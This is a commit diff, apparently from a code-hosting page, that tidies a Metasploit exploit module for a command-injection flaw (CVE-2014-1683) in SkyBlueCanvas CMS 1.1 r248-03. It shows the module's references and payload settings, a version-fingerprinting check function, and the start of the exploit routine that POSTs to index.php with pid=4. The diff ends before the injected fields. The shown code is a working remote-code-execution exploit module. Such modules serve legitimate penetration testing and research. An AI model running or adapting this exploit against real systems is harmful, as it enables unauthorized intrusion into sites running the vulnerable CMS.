Do final cleanup for the skybluecanvas exploit
parent
ffd8f7eee0
commit
810605f0b7
|
@ -15,8 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary command execution vulnerability
|
||||
in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is
|
||||
inside /index.php?pid=4.
|
||||
in SkyBlueCanvas CMS version 1.1 r248-03 and below.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -26,11 +25,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-1683'],
|
||||
['OSVDB', '102586'],
|
||||
['BID', '65129'],
|
||||
['EDB', '31183'],
|
||||
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
# Arbitrary big number. The payload gets sent as an HTTP
|
||||
# response body, so really it's unlimited
|
||||
'Space' => 262144, # 256k
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
|
@ -41,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => %w{ unix },
|
||||
'Targets' =>
|
||||
[
|
||||
['SkyBlueCanvas', {}]
|
||||
['SkyBlueCanvas 1.1 r248', {}]
|
||||
],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DisclosureDate' => 'Jan 28 2014',
|
||||
|
@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => uri
|
||||
})
|
||||
res = send_request_raw('uri' => uri)
|
||||
|
||||
if res and res.body =~ /[1.1 r248]/
|
||||
print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
|
||||
vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
||||
|
||||
res = send_request_cgi({
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => { 'pid' => '4' },
|
||||
|
|
Loading…
Reference in New Issue